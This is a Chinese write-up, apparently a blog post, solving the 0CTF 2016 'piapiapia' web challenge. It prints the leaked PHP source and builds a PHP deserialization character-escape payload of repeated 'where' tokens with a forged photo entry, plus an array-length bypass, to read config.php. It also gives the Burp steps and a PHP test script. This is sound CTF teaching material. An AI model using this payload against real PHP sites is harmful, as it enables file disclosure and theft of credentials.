[0CTF 2016]piapiapia

考查知识点:源码泄露,php反序列化字符逃逸,数组进行长度绕过

目录

解题过程

源码泄露

代码审计

大致思路

1. 创建账号,并且登录

2. 更新用户信息

开始拿flag

相关资料


解题过程

源码泄露

www.zip

下载后,得到后端源码

代码审计

class.php中存在许多函数

<?php
require('config.php');		//class.php是好多个php函数的集合,其他函数通过request函数进行包含即可使用这些函数

class user extends mysql{
	private $table = 'users';

	public function is_exists($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		return parent::select($this->table, $where);
	}
	public function register($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$key_list = Array('username', 'password');
		$value_list = Array($username, md5($password));	//注意这里对md5进行加密,这是个很好的知识点,如果建站的时候,将密码进行md5加密,就算被脱库,仍然有很大的安全性
		return parent::insert($this->table, $key_list, $value_list);
	}
	public function login($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		if ($object && $object->password === md5($password)) {
			return true;
		} else {
			return false;
		}
	}
	public function show_profile($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		return $object->profile;
	}
	public function update_profile($username, $new_profile) {	//对特殊字符进行过滤,存在php反序列化漏洞
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
	public function __tostring() {
		return __class__;
	}
}

class mysql {
	private $link = null;

	public function connect($config) {
		$this->link = mysql_connect(
			$config['hostname'],
			$config['username'], 
			$config['password']
		);
		mysql_select_db($config['database']);
		mysql_query("SET sql_mode='strict_all_tables'");

		return $this->link;
	}

	public function select($table, $where, $ret = '*') {
		$sql = "SELECT $ret FROM $table WHERE $where";
		$result = mysql_query($sql, $this->link);
		return mysql_fetch_object($result);
	}

	public function insert($table, $key_list, $value_list) {
		$key = implode(',', $key_list);
		$value = '\'' . implode('\',\'', $value_list) . '\''; 
		$sql = "INSERT INTO $table ($key) VALUES ($value)";
		return mysql_query($sql);
	}

	public function update($table, $key, $value, $where) {
		$sql = "UPDATE $table SET $key = '$value' WHERE $where";
		return mysql_query($sql);
	}

	public function filter($string) {		//存在php反序列化漏洞
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);	//where替换为hacker,长度会发生变化
	}
	public function __tostring() {
		return __class__;
	}
}
session_start();
$user = new user();
$user->connect($config);

config.php中有flag

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

profile.php中存在文件包含漏洞

<?php
	require_once('class.php');
	if($_SESSION['username'] == null)	//这个应该是通过session判断是否登录,然后根据这个来判断是回去登录,还是继续运行代码
	 {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

index.php

<?php
	require_once('class.php');
	if($_SESSION['username']) {
		header('Location: profile.php');
		exit;
	}
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');

		if($user->login($username, $password)) {
			$_SESSION['username'] = $username;
			header('Location: profile.php');
			exit;	
		}
		else {
			die('Invalid user name or password');
		}
	}
	else {
?>

register.php

<?php
	require_once('class.php');
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');
		if(!$user->is_exists($username)) {
			$user->register($username, $password);
			echo 'Register OK!<a href="index.php">Please Login</a>';		
		}
		else {
			die('User name Already Exists');
		}
	}
	else {
?>

update.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))	//对十一位数字进行匹配
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))	//正则匹配,对email进行匹配
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)		//对昵称长度进行限制
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)	//对图片进行限制
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>

1. class.php存在很多函数,其余文件通过包含class.php进行调用函数。

2. config.php中存在flag

3. index.php和register.php是基本的登录功能和注册功能,不过对输入的数据进行了些匹配或限制罢了

4. update.php可以更新用户数据,将phone,email,nickname,photo四个数值放入$profile数组中,同时进行关键词过滤和序列化操作

5. profile.php中将用户的信息展示出来,值得注意的是,如果$profile['photo']=config.php,那么config.php就会在profile.php中展示出来,flag当然也在其中!!!!

大致思路

首先创建账号register.php——>登录index.php——>更新用户信息update.php——>将得到的config.php进行base64解码profile.php

1. 创建账号,并且登录

2. 更新用户信息

我们的本意是令$profile['photo']=config.php,但是后台对输入的信息进行了md5加密,所以不能直接修改用户信息

		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)		//对昵称长度进行限制
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)	//对图片进行限制
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';

我们看到后台对$profile进行了序列化操作,并且执行了update_profile()函数,追溯

public function update_profile($username, $new_profile) {	//对特殊字符进行过滤,存在php反序列化漏洞
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}

其中含有filter()函数,继续追溯

	public function filter($string) {		//存在php反序列化漏洞
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);	//where替换为hacker,长度会发生变化
	}

可以看到,更新用户信息之前会对序列化后的字符串中的关键词进行替换,值得注意的是这里关键词where替换为hacker,会导致字符串增加1,这样就需要php反序列化字符逃逸的知识

首先正常情况下,我们用户的信息大致是这样的

<?php
    $profile['phone'] = "12345678901";
    $profile['email'] = "123456@qq.com";
    $profile['nickname'] = array(0=>'123');
    $profile['photo'] = 'upload/' . md5("1.jpg");
    print_r($profile);
    $a = serialize($profile);
    echo $a;

而使用php反序列化字符串逃逸,我们可以利用后台将where替换为hacker的时候制造的字符串长度增加使得nickname中的部分字符串占据photo的位置,并且进行截断,就可以使得photo变为我们想要的值

首先我们需要保持username的字符串长度不大于10,可以使用数组绕过,令username为一个数组即可

		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)		//对昵称长度进行限制
			die('Invalid nickname');

如下,可以看到,虽然会warning,但是可以执行,并且绕过

正常情况下,序列化后的字符串为

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123456@qq.com";s:8:"nickname";a:1:{i:0;s:3:"123";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

但是我们进行php反序列化字符串逃逸的时候,nickname的末尾应该是";}s:5:"photo";s:10:"config.php";},也就是

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123456@qq.com";s:8:"nickname";a:1:{i:0;s:3:"123";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

但是这样造成不了截断,因为nickname的长度不一致,反序列化时还是会在原来的位置进行截断

所以需要where替换为hacker,造成字符串长度增加

string(34) "";}s:5:"photo";s:10:"config.php";}"

我们需要的时34个字符长度,而每一个where替换为hacker都会增加一个字符长度,所以需要34个where被替换

构造payload:

<?php   
    function filter($string) {		//存在php反序列化漏洞
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);	//where替换为hacker,长度会发生变化
}
    $profile['phone'] = "12345678901";
    $profile['email'] = "123456@qq.com";
    $profile['nickname'] = array(0=>'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}');
    $profile['photo'] = 'upload/' . md5("1.jpg");
    print_r($profile);
    $a = serialize($profile);
    echo $a;
    $b = filter($a);
    echo $b;
    print_r(unserialize($b));

结果如下,可以看到,生效,$profile['photo']=config.php

Array
(
    [phone] => 12345678901
    [email] => 123456@qq.com
    [nickname] => Array
        (
            [0] => wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
        )

    [photo] => upload/f3ccdd27d2000e3f9255a7e3e2c48800
)
Array
(
    [phone] => 12345678901
    [email] => 123456@qq.com
    [nickname] => Array
        (
            [0] => hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker
        )

    [photo] => config.php
)

开始拿flag

在更新用户的界面,burpsuite进行抓包

修改信息,将username修改为数组username[],并将username[]的信息修改为

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

回显,修改信息成功,查看profile.php

将base64编码的字符串进行解码操作,得到flag


相关资料

1. PHP反序列化字符逃逸详解

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 16
    评论
评论 16
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值